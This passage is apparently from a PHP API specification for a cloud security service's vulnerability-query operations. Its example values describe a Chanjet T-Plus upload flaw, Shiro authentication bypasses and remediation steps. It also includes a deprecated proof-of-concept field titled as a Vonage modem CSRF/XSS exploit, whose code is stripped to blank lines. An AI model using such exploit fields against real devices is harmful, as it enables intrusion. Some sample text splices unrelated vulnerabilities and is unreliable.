'type' => 'string', 'required' => false, 'example' => 'Changjietong T + SetupAccount/Upload.aspx file Upload vulnerability (CNVD-2022-60632)', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BC1868ED-A0E1-4D1C-BF7E-10DC0C34B3C3', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of the urgent vulnerabilities returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'GroupedVulItems' => [ 'description' => 'An array that consists of the urgent vulnerabilities returned.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The detection status of the urgent vulnerability. Valid values:'."\n" ."\n" .'* **10**: The urgent vulnerability is not detected.'."\n" .'* **20**: The urgent vulnerability is being detected.'."\n" .'* **30**: The urgent vulnerability detection is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'Type' => [ 'description' => 'The method that is used to detect the urgent vulnerability. Valid values:'."\n" ."\n" .'* **python**: The Version method is used. Security Center checks the software versions of your server to check whether disclosed vulnerabilities exist on your server.'."\n" .'* **scan**: The Network Scan method is used. Security Center analyzes the access traffic to your server over the Internet to check whether vulnerabilities exist on your server.'."\n", 'type' => 'string', 'example' => 'scan', ], 'CheckType' => [ 'description' => 'The check method.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'GmtLastCheck' => [ 'description' => 'The timestamp when the urgent vulnerability was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1619286031000', ], 'Progress' => [ 'description' => 'The progress of the urgent vulnerability detection task. Valid values: 0 to 100.'."\n" ."\n" .'> This parameter is returned only when an urgent vulnerability is being detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '50', ], 'Description' => [ 'description' => 'The introduction to the vulnerability.', 'type' => 'string', 'example' => 'Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.', ], 'GmtPublish' => [ 'description' => 'The timestamp when the urgent vulnerability was last disclosed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1618887687000', ], 'PendingCount' => [ 'description' => 'The number of unhandled urgent vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AliasName' => [ 'description' => 'The name of the urgent vulnerability.'."\n", 'type' => 'string', 'example' => 'Changjietong T + SetupAccount/Upload.aspx file Upload vulnerability (CNVD-2022-60632)', ], 'Name' => [ 'description' => 'The name of the detection rule.'."\n", 'type' => 'string', 'example' => 'scan:AVD-2021-179344', ], 'RaspDefend' => [ 'description' => 'Indicates whether the application protection feature is supported. Valid values:'."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n" .'> If this parameter is not returned, the application protection is not supported.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"BC1868ED-A0E1-4D1C-BF7E-10DC0C34B3C3\\",\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"GroupedVulItems\\": [\\n {\\n \\"Status\\": 30,\\n \\"Type\\": \\"scan\\",\\n \\"CheckType\\": 1,\\n \\"GmtLastCheck\\": 1619286031000,\\n \\"Progress\\": 50,\\n \\"Description\\": \\"Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.\\",\\n \\"GmtPublish\\": 1618887687000,\\n \\"PendingCount\\": 0,\\n \\"AliasName\\": \\"Changjietong T + SetupAccount/Upload.aspx file Upload vulnerability (CNVD-2022-60632)\\",\\n \\"Name\\": \\"scan:AVD-2021-179344\\",\\n \\"RaspDefend\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeEmgVulItem', ], 'DescribeGroupedVul' => [ 'summary' => 'Queries vulnerabilities by group.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92088', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability that you want to query. Default value: cve. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **app**: application vulnerability that is detected by network scanning'."\n" .'* **sca**: application vulnerability that is detected by software component analysis'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'd42f938c-d962-48a0-90f9-05e4ea****', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RHSA-2019:0230-Important: polkit security update', ], ], [ 'name' => 'Necessity', 'in' => 'query', 'schema' => [ 'description' => 'The priorities to fix the vulnerabilities. Separate multiple priorities with commas (,). Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low'."\n", 'type' => 'string', 'required' => false, 'example' => 'asap,later,nntf', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the vulnerability is handled. Valid values:'."\n" ."\n" .'* **y**: handled'."\n" .'* **n**: not handled'."\n", 'type' => 'string', 'required' => false, 'example' => 'n', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 10.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n", 'type' => 'string', 'required' => false, 'example' => '235454', ], ], [ 'name' => 'CveId', 'in' => 'query', 'schema' => [ 'description' => 'The CVE ID.'."\n" ."\n" .'> You can call the [DescribeVulListPage](~~DescribeVulListPage~~) operation to query the CVE ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CVE-2017-15420', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'allowEmptyValue' => false, 'schema' => [ 'description' => 'The key of the condition that is used to query containers. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the asset'."\n" .'* **appName**: the name of the application'."\n" .'* **clusterId**: the ID of the cluster'."\n" .'* **regionId**: the ID of the region'."\n" .'* **nodeName**: the name of the node'."\n" .'* **namespace**: the namespace'."\n" .'* **clusterName**: the name of the cluster'."\n" .'* **image**: the name of the image'."\n" .'* **imageRepoName**: the name of the image repository'."\n" .'* **imageRepoNamespace**: the namespace to which the image repository belongs'."\n" .'* **imageRepoTag**: the tag that is added to the image'."\n" .'* **imageDigest**: the digest of the image'."\n", 'type' => 'string', 'required' => false, 'example' => 'appName', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value specified by **ContainerFieldName**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc914b0df156d40148412afe4a581****', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The query type for containers. Valid values:'."\n" ."\n" .'* **containerId**: the ID of the container'."\n" .'* **uuid**: the ID of the asset'."\n", 'type' => 'string', 'required' => false, 'example' => 'containerId', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c88fb10da1168494091db6aafc5dd****', ], ], [ 'name' => 'SearchTags', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is used to search for the vulnerability. Valid values:'."\n" ."\n" .'* **Restart required**'."\n" .'* **Remote utilization**'."\n" .'* **EXP exists**'."\n" .'* **Available**'."\n" .'* **Elevation of Privilege**'."\n" .'* **Code Execution**'."\n", 'type' => 'string', 'required' => false, 'example' => 'Code Execution', ], ], [ 'name' => 'AttachTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. This parameter is valid only for application vulnerabilities. Separate multiple values with commas (,). Valid values:'."\n" ."\n" .'* **sca**: vulnerability that is detected based on software component analysis'."\n" .'* **app**: application vulnerability'."\n", 'type' => 'string', 'required' => false, 'example' => 'sca', ], ], [ 'name' => 'AssetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset on which the vulnerability is detected. Separate multiple types with commas (,). Valid values:'."\n" ."\n" .'* **ECS**: Elastic Compute Service (ECS) instance'."\n" .'* **CONTAINER**: container'."\n", 'type' => 'string', 'required' => false, 'example' => 'ECS,CONTAINER', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the account ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], [ 'name' => 'RaspDefend', 'in' => 'query', 'schema' => [ 'description' => 'Indicates whether the application protection feature is supported. Valid values:'."\n" ."\n" .'- **0**: no.'."\n" ."\n" .'- **1**: yes.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9BFA6D78-07EA-5C0A-9358-E4434573507B', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: 10.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'GroupedVulItems' => [ 'description' => 'The information about the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **app**: application vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n" .'* **sca**: vulnerability that is detected by software component analysis'."\n", 'type' => 'string', 'example' => 'cve', ], 'NntfCount' => [ 'description' => 'The number of vulnerabilities that have the **low** priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '59', ], 'RaspDefend' => [ 'description' => 'Indicates whether the application protection feature is supported. Valid values:'."\n" ."\n" .'* **0**: not supported'."\n" .'* **1**: supported'."\n" ."\n" .'> If this parameter is not returned, the application protection feature is not supported.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'HandledCount' => [ 'description' => 'The number of handled vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'GmtFirst' => [ 'description' => 'The timestamp when the vulnerability was first detected. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1639371046000', ], 'GmtLast' => [ 'description' => 'The timestamp when the vulnerability was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1639371446000', ], 'Tags' => [ 'description' => 'The tag of the vulnerability. Valid values:'."\n" ."\n" .'* **Restart required**'."\n" .'* **Remote utilization**'."\n" .'* **EXP exists**'."\n" .'* **Available**'."\n" .'* **Elevation of Privilege**'."\n" .'* **Code Execution**'."\n", 'type' => 'string', 'example' => 'Code Execution', ], 'LaterCount' => [ 'description' => 'The number of vulnerabilities that have the **medium** priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2017:0184-Important: mysql security update', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'oval:com.redhat.rhsa:def:20170184', ], 'TotalFixCount' => [ 'description' => 'The total number of fixed vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'AsapCount' => [ 'description' => 'The number of vulnerabilities that have the **high** priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Related' => [ 'description' => 'The IDs of the common vulnerabilities and exposures (CVEs) that are related to the vulnerability.'."\n", 'type' => 'string', 'example' => 'CVE-2023-24881,CVE-2023-24898', ], 'LanguageType' => [ 'description' => 'The language type associated with the vulnerability. Valid values:'."\n" ."\n" .'* **java**'."\n" .'* **php**'."\n" ."\n" .'> This parameter is valid only for a vulnerability of the sca type.'."\n", 'type' => 'string', 'example' => 'java', ], ], 'description' => '', ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"9BFA6D78-07EA-5C0A-9358-E4434573507B\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 1,\\n \\"GroupedVulItems\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"NntfCount\\": 59,\\n \\"RaspDefend\\": 1,\\n \\"HandledCount\\": 0,\\n \\"GmtFirst\\": 1639371046000,\\n \\"GmtLast\\": 1639371446000,\\n \\"Tags\\": \\"Code Execution\\",\\n \\"LaterCount\\": 0,\\n \\"AliasName\\": \\"RHSA-2017:0184-Important: mysql security update\\",\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20170184\\",\\n \\"TotalFixCount\\": 0,\\n \\"AsapCount\\": 0,\\n \\"Related\\": \\"CVE-2023-24881,CVE-2023-24898\\",\\n \\"LanguageType\\": \\"java\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"2\\n20\\n0DFCADBA-7065-42DA-AF17-6868B9C2A8CF\\n1\\n\\n cve\\n 0\\n 1554185744000\\n 0\\n RHSA-2019:0230-Important: polkit security update\\n 0\\n 0\\n 59\\n 需要重启\\n ***glibc 安全和BUG修复更新\\n","errorExample":""}]', 'title' => 'DescribeGroupedVul', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeAutoDelConfig' => [ 'summary' => 'Queries the number of days during which a detected vulnerability is retained before the vulnerability is automatically deleted.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Days' => [ 'description' => 'The number of days during which a detected vulnerability is retained before the vulnerability is automatically deleted.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C56F66FD-C4EE-4813-ABDC-4FF94B6C384E', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Days\\": 30,\\n \\"RequestId\\": \\"C56F66FD-C4EE-4813-ABDC-4FF94B6C384E\\"\\n}","errorExample":""},{"type":"xml","example":"\\n C56F66FD-C4EE-4813-ABDC-4FF94B6C384E\\n 30\\n","errorExample":""}]', 'title' => 'DescribeAutoDelConfig', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeConcernNecessity' => [ 'summary' => 'Queries the priorities to fix vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'ECC6B3E3-D496-512D-B46D-E6996A6B63EE', ], 'ConcernNecessity' => [ 'description' => 'The priorities to fix the vulnerabilities. Valid values:'."\n" ."\n" .'* asap: high'."\n" .'* later: medium'."\n" .'* nntf: low'."\n", 'type' => 'array', 'items' => [ 'description' => 'The priority to fix the vulnerability. Valid values:'."\n" ."\n" .'* asap: high'."\n" .'* later: medium'."\n" .'* nntf: low'."\n", 'type' => 'string', 'example' => 'asap', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ECC6B3E3-D496-512D-B46D-E6996A6B63EE\\",\\n \\"ConcernNecessity\\": [\\n \\"asap\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeConcernNecessity', ], 'DescribeVulDetails' => [ 'summary' => 'Queries the details about a vulnerability.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92245', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => true, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **app**: application vulnerabilitiy'."\n" .'* **emg**: urgent vulnerability'."\n" .'* **sca**: vulnerability that is detected based on software component analysis'."\n", 'type' => 'string', 'required' => true, 'example' => 'sca', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the vulnerability.'."\n" ."\n" .'> You can call the [DescribeGroupedVul](~~DescribeGroupedVul~~) or [DescribeVulList](~~DescribeVulList~~) operation to query the names of vulnerabilities.'."\n", 'type' => 'string', 'required' => true, 'example' => 'SCA:ACSV-2020-052801', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'description' => 'The vulnerability announcement.'."\n", 'type' => 'string', 'required' => false, 'docRequired' => false, 'example' => 'RHSA-2019:3197-Important: sudo security update', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'EDA40EA3-6265-5900-AD99-C83E4F109CA8', ], 'Cves' => [ 'description' => 'The details of the vulnerability.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the vulnerability.'."\n", 'type' => 'object', 'properties' => [ 'Summary' => [ 'description' => 'The introduction to the vulnerability.'."\n", 'type' => 'string', 'example' => 'Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.', ], 'Complexity' => [ 'description' => 'The difficulty level of exploiting the vulnerability. Valid values:'."\n" ."\n" .'* **LOW**'."\n" .'* **MEDIUM**'."\n" .'* **HIGH**'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'LOW', ], 'Product' => [ 'description' => 'The service that is affected by the vulnerability.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'Log4j2', ], 'PocCreateTime' => [ 'description' => 'The UNIX timestamp when the proof of concept (POC) was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'deprecated' => true, 'example' => '1554189334000', ], 'CveId' => [ 'description' => 'The Common Vulnerabilities and Exposures (CVE) ID.'."\n", 'type' => 'string', 'example' => 'CVE-2019-9167', ], 'CnvdId' => [ 'description' => 'The China National Vulnerability Database (CNVD) ID.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'CNVD-2019-9167', ], 'Reference' => [ 'description' => 'The reference of the vulnerability in the Alibaba Cloud vulnerability library. The value is a URL.'."\n", 'type' => 'string', 'example' => 'https://example.com', ], 'CvssScore' => [ 'description' => 'The Common Vulnerability Scoring System (CVSS) score of the vulnerability in the Alibaba Cloud vulnerability library.'."\n", 'type' => 'string', 'example' => '10.0', ], 'Vendor' => [ 'description' => 'The vendor that disclosed the vulnerability.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'Apache', ], 'PocDisclosureTime' => [ 'description' => 'The UNIX timestamp when the POC was disclosed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'deprecated' => true, 'example' => '1554189334000', ], 'Classify' => [ 'description' => 'The type of the vulnerability.'."\n", 'type' => 'string', 'example' => 'remote_code_execution', ], 'CvssVector' => [ 'description' => 'The vector that is used to calculate the CVSS score.'."\n", 'type' => 'string', 'example' => 'AV:N/AC:L/Au:N/C:C/I:C/A:C', ], 'VulLevel' => [ 'description' => 'The severity of the vulnerability. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'serious', ], 'ReleaseTime' => [ 'description' => 'The disclosure time that is displayed for the vulnerability in the Alibaba Cloud vulnerability library. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1554189334000', ], 'Title' => [ 'description' => 'The title of the vulnerability announcement.'."\n", 'type' => 'string', 'example' => 'Chanjet T-Plus SetupAccount/Upload. Aspx file upload vulnerability(CNVD-2022-60632)', ], 'Solution' => [ 'description' => 'The fixing suggestions of the vulnerability.'."\n", 'type' => 'string', 'example' => '

At present, Chanjet has urgently released a vulnerability patch to fix the vulnerability. CNVD recommends affected units and users to upgrade to the latest version immediately:

↵

https://www.chanjetvip.com/product/goods/goods-detail?id=53aaa40295d458e44f5d3ce5

↵

At the same time, organizations and users affected by the vulnerability are requested to immediately follow the steps below to conduct self-inspection and repair work:

↵
    ↵

  1. User self-check steps:↵
    Check whether website/bin/load.aspx.cdcab7d2.compiled, website/bin/App_Web_load.aspx.cdcab7d2.dll, and tplus/Load.aspx files exist locally. If they exist, it means that they have been poisoned, and you must reinstall the system and install the product. patch.

    ↵
    2. ↵

  2. Non-poisoned users please:↵
    1) Update the latest product patch.↵
    2) Install anti-virus software and update the virus database in time.↵
    3) Upgrade the lower version of IIS and Nginx to IIS10.0 and Windows 2016.↵
    4) Local installation customers need to confirm whether the backup file is complete as soon as possible, and do off-site backup. Customers on the cloud should enable the mirroring function in time.↵
    5) Users who fail to update the patch in time can contact Chanjet technical support and take temporary preventive measures such as deleting files.

    ↵
    3. ↵

  3. Poisoned users please:↵
    1) Check whether the server has taken regular snapshots or backups. If so, you can restore data through snapshots or backups.↵
    2) Contact Chanjet technical support to confirm whether it has the conditions and operation methods to restore data from backup files.

    ↵
    4. ↵
↵

If you have any technical problems, please contact Chanjet technical support: 4006600566-9

', ], 'Content' => [ 'description' => 'The CVE content.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'Apache Shiro is a user authentication and authorization framework for a wide range of rights management applications.↵Recently, Apache Shiro released version 1.7.0, which fixes the Apache Shiro authentication bypass vulnerability (CVE-2020-17510).↵Attackers can bypass Shiro\'s authentication using malicious requests containing payloads.↵↵Related bugs:↵CVE-2020-17510 Shiro < 1.7.0 Validation Bypass Vulnerability↵CVE-2020-13933 Shiro < 1.6.0 Validation Bypass Vulnerability↵CVE-2020-11989 Shiro < 1.5.3 Validation Bypass Vulnerability↵CVE-2020-1957 Shiro < 1.5.2 Validation Bypass Vulnerability↵CVE-2016-6802 Shiro < 1.3.2 Validation Bypass Vulnerability'."\n" .'Check whether the fastjson version currently running on the system is in the affected version and whether safeMode is configured to disable autoType. If it is in the affected version and safeMode is not configured to disable autoType, the vulnerability is considered to exist.', ], 'Poc' => [ 'description' => 'The POC content.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'NewDomain.html'."\n" .'The x and y values will need to be changed accordingly'."\n" .''."\n" .'

Authenticated Stored CSRF/XSS - Vonage Modem

'."\n" .'
'."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .'
'."\n" .''."\n" .' '."\n" .'NewKeyword.html'."\n" .'The x and y values will need to be changed accordingly'."\n" .''."\n" .'

Authenticated Stored CSRF/XSS - Vonage Modem

'."\n" .'
'."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .''."\n" .'
'."\n" .'', ], 'Classifys' => [ 'description' => 'The vulnerability types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The vulnerability type.'."\n", 'type' => 'object', 'properties' => [ 'Description' => [ 'description' => 'The description of the vulnerability type.'."\n", 'type' => 'string', 'example' => 'Remote code execution'."\n", ], 'Classify' => [ 'description' => 'The type of the vulnerability.'."\n", 'type' => 'string', 'example' => 'remote_code_execution', ], 'DemoVideoUrl' => [ 'description' => 'The URL of the demo video for the vulnerability.'."\n", 'type' => 'string', 'example' => 'https://example.com', ], ], ], ], 'OtherId' => [ 'description' => 'The ID of the vulnerability.'."\n", 'type' => 'string', 'example' => 'CVE-2020-8597', ], 'InstanceName' => [ 'description' => 'The name of the instance.'."\n" ."\n" .'> This parameter is deprecated. You can call the [DescribeVulList](~~DescribeVulList~~) operation to query the instance that is affected by the vulnerability.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'sql-test-001', ], 'InternetIp' => [ 'description' => 